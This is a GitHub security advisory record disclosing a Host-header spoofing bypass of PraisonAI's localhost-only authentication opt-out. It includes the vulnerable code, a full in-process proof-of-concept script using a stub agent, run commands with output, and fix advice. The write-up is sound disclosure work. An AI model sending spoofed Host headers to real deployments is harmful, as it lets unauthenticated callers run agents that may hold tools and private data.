{"id":"GHSA-2gpf-2492-q9jh","summary":"PraisonAI: Call API localhost-only authentication bypass via spoofed Host header","details":"# Call API localhost-only authentication bypass via spoofed Host header\n\n## Summary\n\nPraisonAI's patched `PRAISONAI_CALL_AUTH=disabled` safeguard for the n8n/call agent invocation API can be bypassed with a spoofed `Host: 127.0.0.1` header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.\n\n## Technical Details\n\nThe affected code is `src/praisonai/praisonai/api/agent_invoke.py`. `verify_token()` is used as a FastAPI dependency for the `/api/v1/agents` routes, including `POST /api/v1/agents/{agent_id}/invoke`. Current code no longer unconditionally skips authentication when `PRAISONAI_CALL_AUTH=disabled`; it tries to allow that opt-out only for localhost binding:\n\n```python\n_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})\n\ndef _bind_host_from_request(request: Request) -\u003e str:\n    host = getattr(getattr(request, 'url', None), 'hostname', None)\n    return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')\n\nasync def verify_token(request: Request, authorization: Optional[str] = Header(None)) -\u003e None:\n    if _call_auth_disabled():\n        bind_host = _bind_host_from_request(request)\n        if bind_host not in _LOCALHOST_HOSTS:\n            raise HTTPException(\n                status_code=503,\n                detail=\"PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding\",\n            )\n        return\n```\n\nThe violated invariant is that \"localhost binding\" must be a server-owned startup or socket property. The implementation instead reads `request.url.hostname`, which is derived from the HTTP Host header for the current request. A remote caller can therefore send `Host: 127.0.0.1` and make the disabled-auth guard believe the request is for a localhost-bound service.\n\nThe protected sink is agent execution. After `verify_token()` returns, `invoke_agent()` retrieves the registered agent and calls `agent.astart(request.message)` or `agent.start(request.message)`. The same router is mounted by the PraisonAI serve feature, which imports `praisonai.api.agent_invoke`, includes `agent_invoke.router`, and registers YAML agents into the same registry.\n\nThis is not a default-configuration exposure claim. The deployment must enable `PRAISONAI_CALL_AUTH=disabled` and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.\n\n## PoV\n\nthe PoV builds an in-process FastAPI app with the real `agent_invoke.router`, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends `Host: 127.0.0.1`.\n\n```python\ndisabled_client = TestClient(app, base_url=\"http://external.example\")\n\nexternal_host = disabled_client.get(\n    \"/api/v1/agents\",\n    headers={\"host\": \"external.example\"},\n)\nspoofed_localhost_list = disabled_client.get(\n    \"/api/v1/agents\",\n    headers={\"host\": \"127.0.0.1\"},\n)\nspoofed_localhost_invoke = disabled_client.post(\n    \"/api/v1/agents/pov-agent/invoke\",\n    headers={\"host\": \"127.0.0.1\"},\n    json={\"message\": \"host-header-bypass\"},\n)\n```\n\nExpected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects `Host: external.example` with `503`, but accepts the spoofed localhost Host with `200` and invokes the stub agent.\n\nThe complete PoV script is in Appendix A.\n\n## PoC\n\nRun from a PraisonAI checkout with the Appendix A script saved as `pov_call_auth_host_spoof.py`:\n\n```bash\ngit checkout v4.6.62\nuv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .\n```\n\nObserved `v4.6.62` output:\n\n```json\n{\n  \"disabled_auth_external_host_status\": 503,\n  \"disabled_auth_spoofed_localhost_invoke_status\": 200,\n  \"disabled_auth_spoofed_localhost_list_status\": 200,\n  \"fail_closed_without_token_status\": 503,\n  \"repo_head\": \"2a855c470077c7d2e2479a575f7ef7f548d51c33\",\n  \"spoofed_localhost_invoke_body\": {\n    \"metadata\": {\n      \"agent_id\": \"pov-agent\",\n      \"message_length\": 18,\n      \"response_length\": 33\n    },\n    \"result\": \"stub-agent-ran:host-header-bypass\",\n    \"session_id\": \"default\",\n    \"status\": \"success\"\n  },\n  \"stub_agent_calls\": [\n    \"host-header-bypass\"\n  ],\n  \"vulnerable\": true\n}\n```\n\nRun the same script against current main:\n\n```bash\ngit checkout 846568c7a5d8ce9e71e56e4c213f027c04909753\nuv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .\n```\n\nObserved current-head output:\n\n```json\n{\n  \"disabled_auth_external_host_status\": 503,\n  \"disabled_auth_spoofed_localhost_invoke_status\": 200,\n  \"disabled_auth_spoofed_localhost_list_status\": 200,\n  \"fail_closed_without_token_status\": 503,\n  \"repo_head\": \"846568c7a5d8ce9e71e56e4c213f027c04909753\",\n  \"spoofed_localhost_invoke_body\": {\n    \"metadata\": {\n      \"agent_id\": \"pov-agent\",\n      \"message_length\": 18,\n      \"response_length\": 33\n    },\n    \"result\": \"stub-agent-ran:host-header-bypass\",\n    \"session_id\": \"default\",\n    \"status\": \"success\"\n  },\n  \"stub_agent_calls\": [\n    \"host-header-bypass\"\n  ],\n  \"vulnerable\": true\n}\n```\n\nThe negative controls are the first two status fields. With default authentication and no token, the API fails closed with `503`. With `PRAISONAI_CALL_AUTH=disabled`, an ordinary external Host is also rejected with `503`. Only the spoofed localhost Host passes the guard and reaches agent execution.\n\n## Impact\n\nAn unauthenticated caller who can reach a PraisonAI call/serve API with `PRAISONAI_CALL_AUTH=disabled` can bypass the intended localhost-only restriction by setting `Host: 127.0.0.1`. The PoV demonstrates both agent listing and direct invocation of a registered agent through `/api/v1/agents/{agent_id}/invoke`.\n\nImpact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted `/api/v1/agents` API family.\n\nSuggested CWE: `CWE-287` Improper Authentication and `CWE-346` Origin Validation Error, with `CWE-306` Missing Authentication for Critical Function also applicable to the bypassed protected action.\n\nSuggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.\n\n## Suggested Fix\n\nDo not derive bind safety from `Request.url`, the HTTP Host header, or any request-header-derived value. If `PRAISONAI_CALL_AUTH=disabled` remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.\n\nConsider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to `127.0.0.1`, `localhost`, or `::1`.\n\nRegression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where `PRAISONAI_CALL_AUTH=disabled`, the modeled server configuration is non-loopback, and the request sends `Host: 127.0.0.1`; the expected result should be rejection before any agent list or invoke handler runs.\n\n## Affected Package/Versions\n\nAffected package: `praisonai` on PyPI.\n\nConfirmed affected:\n\n- `v4.6.62` at `2a855c470077c7d2e2479a575f7ef7f548d51c33`\n- current main at `846568c7a5d8ce9e71e56e4c213f027c04909753`, version file still reporting `4.6.62`\n\n`v4.6.60` had the older unconditional `PRAISONAI_CALL_AUTH=disabled` bypass and is covered by a different public advisory. This report is for the patched guard shape present in `v4.6.62` and current main. If `v4.6.61` contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.\n\nFixed version: unknown.\n\n## Advisory History\n\nI checked the repository advisory list available through GitHub and found adjacent but distinct advisories:\n\n- `GHSA-86qc-r5v2-v6x6`: call server unauthenticated agent listing/invocation/deletion when `CALL_SERVER_TOKEN` is unset in older releases. Current code fails closed when no token is configured; this report requires the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard and a spoofed Host header.\n- `GHSA-8ccj-p46r-jwqq`: `PRAISONAI_CALL_AUTH=disabled` unconditionally disabled authentication in older releases and is listed as patched in `\u003e= 4.6.61`. This report shows `v4.6.62` and current main are still bypassable through the new guard because the guard trusts `request.url.hostname`.\n- `GHSA-vmf9-xx9w-86wx`: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools through `praisonaiagents.mcp.ToolsMCPServer.run_sse()`, `/sse`, and `/messages/`. That advisory affects `praisonaiagents \u003e= 0.6.0, \u003c 1.6.58` and `praisonai \u003e= 3.10.0, \u003c 4.6.58`, with patches listed as `praisonaiagents \u003e= 1.6.59` and `praisonai \u003e= 4.6.59`. This report targets a different package call path in `praisonai.api.agent_invoke.verify_token()` and `/api/v1/agents/{agent_id}/invoke`, confirmed in `praisonai v4.6.62` and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requires `PRAISONAI_CALL_AUTH=disabled` on the call/n8n agent API and bypasses its localhost-only opt-out guard with `Host: 127.0.0.1`; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved.\n- `GHSA-x8cv-xmq7-p8xp`: `AgentTeam.launch()` unauthenticated API. That advisory covers `praisonaiagents` `AgentTeam.launch()` routes, not `praisonai.api.agent_invoke.verify_token()`.\n- `GHSA-5qw8-f2g9-ff29`: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input.\n\nNo advisory I found describes Host-header spoofing against the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard in `praisonai.api.agent_invoke`.\n\n## References\n\n- `src/praisonai/praisonai/api/agent_invoke.py`\n- `src/praisonai/praisonai/cli/features/serve.py`\n- `GHSA-86qc-r5v2-v6x6`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6\n- `GHSA-8ccj-p46r-jwqq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8ccj-p46r-jwqq\n- `GHSA-vmf9-xx9w-86wx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmf9-xx9w-86wx\n- `GHSA-x8cv-xmq7-p8xp`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp\n- `GHSA-5qw8-f2g9-ff29`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5qw8-f2g9-ff29\n\n## Appendix A - Full PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI call API Host-header localhost guard bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport importlib\nimport json\nimport os\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _repo_root() -\u003e Path:\n    if len(sys.argv) == 2:\n        return Path(sys.argv[1]).resolve()\n    return Path.cwd().resolve()\n\n\ndef _load_agent_invoke(repo_root: Path, auth_disabled: bool):\n    os.environ.pop(\"CALL_SERVER_TOKEN\", None)\n    if auth_disabled:\n        os.environ[\"PRAISONAI_CALL_AUTH\"] = \"disabled\"\n    else:\n        os.environ.pop(\"PRAISONAI_CALL_AUTH\", None)\n\n    package_root = repo_root / \"src\" / \"praisonai\"\n    if not package_root.exists():\n        raise SystemExit(f\"missing PraisonAI package root: {package_root}\")\n    package_root_s = str(package_root)\n    if package_root_s not in sys.path:\n        sys.path.insert(0, package_root_s)\n\n    import praisonai.api.agent_invoke as agent_invoke\n\n    agent_invoke = importlib.reload(agent_invoke)\n    agent_invoke._agent_registry.clear()\n    return agent_invoke\n\n\nclass StubAgent:\n    def __init__(self) -\u003e None:\n        self.calls: list[str] = []\n\n    def start(self, message: str) -\u003e str:\n        self.calls.append(message)\n        return f\"stub-agent-ran:{message}\"\n\n\ndef _make_client(agent_invoke: Any):\n    from fastapi import FastAPI\n    from fastapi.testclient import TestClient\n\n    app = FastAPI()\n    app.include_router(agent_invoke.router)\n    return TestClient(app, base_url=\"http://external.example\")\n\n\ndef main() -\u003e int:\n    repo_root = _repo_root()\n\n    fail_closed_mod = _load_agent_invoke(repo_root, auth_disabled=False)\n    fail_closed_client = _make_client(fail_closed_mod)\n    fail_closed = fail_closed_client.get(\n        \"/api/v1/agents\",\n        headers={\"host\": \"127.0.0.1\"},\n    )\n\n    disabled_mod = _load_agent_invoke(repo_root, auth_disabled=True)\n    agent = StubAgent()\n    disabled_mod.register_agent(\"pov-agent\", agent)\n    disabled_client = _make_client(disabled_mod)\n\n    external_host = disabled_client.get(\n        \"/api/v1/agents\",\n        headers={\"host\": \"external.example\"},\n    )\n    spoofed_localhost_list = disabled_client.get(\n        \"/api/v1/agents\",\n        headers={\"host\": \"127.0.0.1\"},\n    )\n    spoofed_localhost_invoke = disabled_client.post(\n        \"/api/v1/agents/pov-agent/invoke\",\n        headers={\"host\": \"127.0.0.1\"},\n        json={\"message\": \"host-header-bypass\"},\n    )\n\n    result = {\n        \"repo_head\": _git(repo_root, \"rev-parse\", \"HEAD\"),\n        \"fail_closed_without_token_status\": fail_closed.status_code,\n        \"disabled_auth_external_host_status\": external_host.status_code,\n        \"disabled_auth_spoofed_localhost_list_status\": spoofed_localhost_list.status_code,\n        \"disabled_auth_spoofed_localhost_invoke_status\": spoofed_localhost_invoke.status_code,\n        \"spoofed_localhost_invoke_body\": _safe_json(spoofed_localhost_invoke),\n        \"stub_agent_calls\": agent.calls,\n    }\n\n    expected = (\n        fail_closed.status_code == 503\n        and external_host.status_code == 503\n        and spoofed_localhost_list.status_code == 200\n        and spoofed_localhost_invoke.status_code == 200\n        and agent.calls == [\"host-header-bypass\"]\n    )\n    result[\"vulnerable\"] = expected\n    print(json.dumps(result, indent=2, sort_keys=True))\n    return 0 if expected else 1\n\n\ndef _safe_json(response: Any) -\u003e Any:\n    try:\n        return response.json()\n    except Exception:\n        return response.text\n\n\ndef _git(repo_root: Path, *args: str) -\u003e str:\n    import subprocess\n\n    return subprocess.check_output(\n        [\"git\", \"-C\", str(repo_root), *args],\n        text=True,\n        stderr=subprocess.DEVNULL,\n    ).strip()\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```","aliases":["CVE-2026-61435"],"modified":"2026-10-08T19:45:04.989719732Z","published":"2026-10-08T19:36:26Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-08T19:36:26Z","nvd_published_at":"2026-07-15T17:16:52Z","cwe_ids":["CWE-287","CWE-306","CWE-346"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2gpf-2492-q9jh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61435"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62174"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/commit/2a855c470077c7d2e2479a575f7ef7f548d51c33"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/praisonai-before-authentication-bypass-via-host-header-spoofing"}],"affected":[{"package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.78"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.59","0.0.59rc11","0.0.59rc2","0.0.59rc3","0.0.59rc5","0.0.59rc6","0.0.59rc7","0.0.59rc8","0.0.59rc9","0.0.6","0.0.61","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.8","0.0.9","0.1.0","0.1.1","0.1.10","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","1.0.0","1.0.1","1.0.10","1.0.11","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.3","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.0.36","2.0.37","2.0.38","2.0.39","2.0.40","2.0.41","2.0.42","2.0.43","2.0.44","2.0.45","2.0.46","2.0.47","2.0.48","2.0.49","2.0.5","2.0.50","2.0.51","2.0.53","2.0.54","2.0.55","2.0.56","2.0.57","2.0.58","2.0.59","2.0.6","2.0.60","2.0.61","2.0.62","2.0.63","2.0.64","2.0.65","2.0.66","2.0.67","2.0.68","2.0.69","2.0.7","2.0.70","2.0.71","2.0.72","2.0.73","2.0.74","2.0.75","2.0.76","2.0.77","2.0.78","2.0.79","2.0.8","2.0.80","2.0.81","2.0.9","2.1.0","2.1.1","2.1.4","2.1.5","2.1.6","2.2.1","2.2.10","2.2.11","2.2.12","2.2.13","2.2.14","2.2.15","2.2.16","2.2.17","2.2.18","2.2.19","2.2.2","2.2.20","2.2.21","2.2.22","2.2.24","2.2.25","2.2.26","2.2.27","2.2.28","2.2.29","2.2.3","2.2.30","2.2.31","2.2.32","2.2.33","2.2.34","2.2.35","2.2.36","2.2.37","2.2.38","2.2.39","2.2.4","2.2.40","2.2.41","2.2.42","2.2.43","2.2.44","2.2.45","2.2.46","2.2.47","2.2.48","2.2.49","2.2.5","2.2.50","2.2.51","2.2.52","2.2.53","2.2.54","2.2.55","2.2.56","2.2.57","2.2.58","2.2.59","2.2.6","2.2.60","2.2.61","2.2.62","2.2.63","2.2.64","2.2.65","2.2.66","2.2.67","2.2.68","2.2.69","2.2.7","2.2.70","2.2.71","2.2.72","2.2.73","2.2.74","2.2.75","2.2.76","2.2.77","2.2.78","2.2.79","2.2.8","2.2.80","2.2.81","2.2.82","2.2.83","2.2.84","2.2.86","2.2.87","2.2.88","2.2.89","2.2.9","2.2.90","2.2.91","2.2.93","2.2.95","2.2.96","2.2.97","2.2.98","2.2.99","2.3.0","2.3.1","2.3.10","2.3.11","2.3.12","2.3.13","2.3.14","2.3.15","2.3.16","2.3.18","2.3.19","2.3.2","2.3.20","2.3.21","2.3.22","2.3.23","2.3.24","2.3.25","2.3.26","2.3.27","2.3.28","2.3.29","2.3.3","2.3.30","2.3.31","2.3.32","2.3.33","2.3.34","2.3.35","2.3.36","2.3.37","2.3.38","2.3.39","2.3.4","2.3.40","2.3.41","2.3.42","2.3.43","2.3.44","2.3.45","2.3.46","2.3.47","2.3.48","2.3.49","2.3.5","2.3.50","2.3.51","2.3.52","2.3.53","2.3.54","2.3.55","2.3.56","2.3.57","2.3.58","2.3.59","2.3.6","2.3.60","2.3.61","2.3.62","2.3.63","2.3.64","2.3.65","2.3.66","2.3.67","2.3.68","2.3.69","2.3.7","2.3.70","2.3.71","2.3.72","2.3.73","2.3.74","2.3.75","2.3.76","2.3.77","2.3.78","2.3.79","2.3.8","2.3.80","2.3.81","2.3.82","2.3.83","2.3.84","2.3.85","2.3.86","2.3.87","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.7.0","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.2","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3.11.2","3.11.3","3.11.4","3.11.8","3.11.9","3.12.0","3.12.1","3.12.2","3.12.3","3.2.0","3.2.1","3.3.0","3.3.1","3.4.0","3.4.1","3.5.0","3.5.1","3.5.2","3.5.3","3.5.4","3.5.5","3.5.6","3.5.7","3.5.8","3.5.9","3.6.0","3.6.1","3.6.2","3.7.0","3.7.1","3.7.2","3.7.3","3.7.4","3.7.5","3.7.6","3.7.7","3.7.8","3.7.9","3.8.0","3.8.1","3.8.10","3.8.11","3.8.12","3.8.13","3.8.14","3.8.16","3.8.17","3.8.18","3.8.19","3.8.2","3.8.20","3.8.21","3.8.22","3.8.3","3.8.4","3.8.5","3.8.6","3.8.7","3.8.8","3.8.9","3.9.0","3.9.1","3.9.10","3.9.11","3.9.12","3.9.13","3.9.14","3.9.15","3.9.16","3.9.17","3.9.18","3.9.19","3.9.2","3.9.20","3.9.21","3.9.22","3.9.23","3.9.24","3.9.25","3.9.26","3.9.27","3.9.28","3.9.29","3.9.3","3.9.30","3.9.31","3.9.32","3.9.33","3.9.34","3.9.35","3.9.4","3.9.5","3.9.6","3.9.7","3.9.8","3.9.9","4.0.0","4.1.0","4.2.0","4.2.1","4.2.2","4.2.3","4.2.4","4.3.0","4.3.1","4.4.0","4.4.10","4.4.11","4.4.12","4.4.2","4.4.3","4.4.4","4.4.5","4.4.6","4.4.7","4.4.8","4.4.9","4.5.0","4.5.1","4.5.10","4.5.100","4.5.101","4.5.102","4.5.103","4.5.104","4.5.105","4.5.106","4.5.107","4.5.108","4.5.109","4.5.11","4.5.110","4.5.111","4.5.112","4.5.113","4.5.114","4.5.115","4.5.117","4.5.118","4.5.119","4.5.12","4.5.120","4.5.121","4.5.122","4.5.123","4.5.124","4.5.125","4.5.126","4.5.127","4.5.128","4.5.129","4.5.13","4.5.130","4.5.131","4.5.132","4.5.133","4.5.134","4.5.135","4.5.136","4.5.137","4.5.139","4.5.14","4.5.140","4.5.143","4.5.144","4.5.145","4.5.149","4.5.15","4.5.16","4.5.18","4.5.19","4.5.2","4.5.20","4.5.21","4.5.22","4.5.23","4.5.24","4.5.25","4.5.26","4.5.27","4.5.28","4.5.29","4.5.3","4.5.30","4.5.31","4.5.32","4.5.33","4.5.34","4.5.35","4.5.36","4.5.37","4.5.38","4.5.39","4.5.40","4.5.41","4.5.42","4.5.43","4.5.44","4.5.45","4.5.46","4.5.48","4.5.49","4.5.5","4.5.51","4.5.52","4.5.54","4.5.55","4.5.56","4.5.57","4.5.58","4.5.59","4.5.6","4.5.60","4.5.62","4.5.63","4.5.64","4.5.65","4.5.67","4.5.68","4.5.69","4.5.7","4.5.70","4.5.71","4.5.72","4.5.73","4.5.74","4.5.76","4.5.77","4.5.78","4.5.79","4.5.8","4.5.80","4.5.81","4.5.82","4.5.83","4.5.85","4.5.87","4.5.88","4.5.89","4.5.9","4.5.90","4.5.93","4.5.94","4.5.95","4.5.96","4.5.97","4.5.98","4.6.10","4.6.11","4.6.12","4.6.13","4.6.14","4.6.15","4.6.16","4.6.18","4.6.19","4.6.20","4.6.21","4.6.22","4.6.23","4.6.24","4.6.25","4.6.26","4.6.27","4.6.28","4.6.29","4.6.30","4.6.31","4.6.32","4.6.33","4.6.34","4.6.35","4.6.36","4.6.37","4.6.38","4.6.39","4.6.40","4.6.41","4.6.42","4.6.43","4.6.44","4.6.45","4.6.46","4.6.47","4.6.48","4.6.50","4.6.51","4.6.52","4.6.53","4.6.54","4.6.55","4.6.56","4.6.57","4.6.58","4.6.59","4.6.60","4.6.62","4.6.63","4.6.64","4.6.65","4.6.67","4.6.68","4.6.70","4.6.71","4.6.72","4.6.74","4.6.75","4.6.77","4.6.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-2gpf-2492-q9jh/GHSA-2gpf-2492-q9jh.json","last_known_affected_version_range":"\u003c= 4.6.77"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"}]}